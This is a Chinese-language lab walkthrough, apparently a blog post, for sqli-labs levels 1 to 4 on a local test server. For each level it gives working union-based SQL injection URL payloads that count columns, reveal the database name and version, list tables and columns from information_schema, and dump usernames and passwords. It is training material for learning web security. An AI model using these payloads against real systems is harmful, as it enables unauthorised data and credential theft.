渗透SQL注入

目录

首先打开php:

Less-1:

打开浏览器输入网址,进入靶场:

输入?id=1查询:

使用order by查询数据表的列数:

使用union查询:

由于只能查看第一组数据,所以我们需要修改id值,让他要么远超这个数据表,要不小于0:

在知道了回显的列数是第二列和第三列,所以我们可以直接曝出数据库名和版本号:

曝表:

曝字段名:

获取用户名和密码:

Less-2:

进入靶场:

输入?id=1查询:

使用order by查询数据表的列数:

使用union查询:

曝出数据库名和版本号:

曝表:

曝字段名:

获取用户名和密码:

Less-3:

进入靶场:

输入?id=1查询:

使用order by查询数据表的列数:

使用union查询:

曝出数据库名和版本号:

曝表:

曝字段名:

获取用户名和密码:

Less-4:

进入靶场:

输入?id=1查询:

使用order by查询数据表的列数:

使用union查询:

曝出数据库名和版本号:

曝表:

曝字段名:

获取用户名和密码:


首先打开php:

Less-1:

打开浏览器输入网址,进入靶场:

输入?id=1查询:

使用order by查询数据表的列数:

http://127.0.0.1/sqllab/less-1/?id=1' order by 4 --+

http://127.0.0.1/sqllab/less-1/?id=1' order by 3 --+

由此可得表有三列。

使用union查询:

http://127.0.0.1/sqllab/less-1/?id=1' union select 1,2,3 --+

由于只能查看第一组数据,所以我们需要修改id值,让他要么远超这个数据表,要不小于0:

http://127.0.0.1/sqllab/less-1/?id=-1' union select 1,2,3 --+

在知道了回显的列数是第二列和第三列,所以我们可以直接曝出数据库名和版本号:

http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,database(),version()--+

曝表:

 http://127.0.0.1/sqllab/less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

曝字段名:

http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

根据查询到的结果,可以猜测username和password是账户名和密码。

获取用户名和密码:

http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,2,group_concat(username ,0x3a , password) from users--+

Less-2:

(由于L-1~L-2差不多一样,所以直接按L-1步骤)

进入靶场:

输入?id=1查询:

输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,就是,把第一题中id=1后面的单引号去掉

使用order by查询数据表的列数:

http://127.0.0.1/sqllab/less-2/?id=1 order by 5 --+
http://127.0.0.1/sqllab/less-2/?id=1 order by 4 --+
http://127.0.0.1/sqllab/less-2/?id=1 order by 3 --+

使用union查询:

http://127.0.0.1/sqllab/less-2/?id=1 union select 1,2,3 --+

曝出数据库名和版本号:

http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,database(),version()--+

曝表:

 http://127.0.0.1/sqllab/less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

曝字段名:

​
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

​

获取用户名和密码:

http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,group_concat(username ,0x3a , password) from users--+

Less-3:

进入靶场:

输入?id=1查询:

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=( ‘1’) …,在第一题中id=1’的后面单引号加上)

使用order by查询数据表的列数:

http://127.0.0.1/sqllab/Less-3/?id=1') order by 5--+
http://127.0.0.1/sqllab/Less-3/?id=1') order by 4--+
http://127.0.0.1/sqllab/Less-3/?id=1') order by 3--+

使用union查询:


http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,3--+

曝出数据库名和版本号:

http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,database(),version()--+

曝表:

http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

曝字段名:

http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取用户名和密码:

http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,group_concat(username ,0x3a , password) from users--+

Less-4:

进入靶场:

输入?id=1查询:

输入单引号,页面无任何变化,输入双引号,页面报错,根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,猜想一下:select … from … where id=(”1”) …,把第一题中1后面的引号换成双引号加)。

使用order by查询数据表的列数:

http://127.0.0.1/sqllab/Less-4/?id=1") order by 5--+
http://127.0.0.1/sqllab/Less-4/?id=1") order by 4--+
http://127.0.0.1/sqllab/Less-4/?id=1") order by 3--+

使用union查询:

http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,3--+

曝出数据库名和版本号:

http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,database(),version()--+

曝表:

http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

曝字段名:

http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'--+

获取用户名和密码:

http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值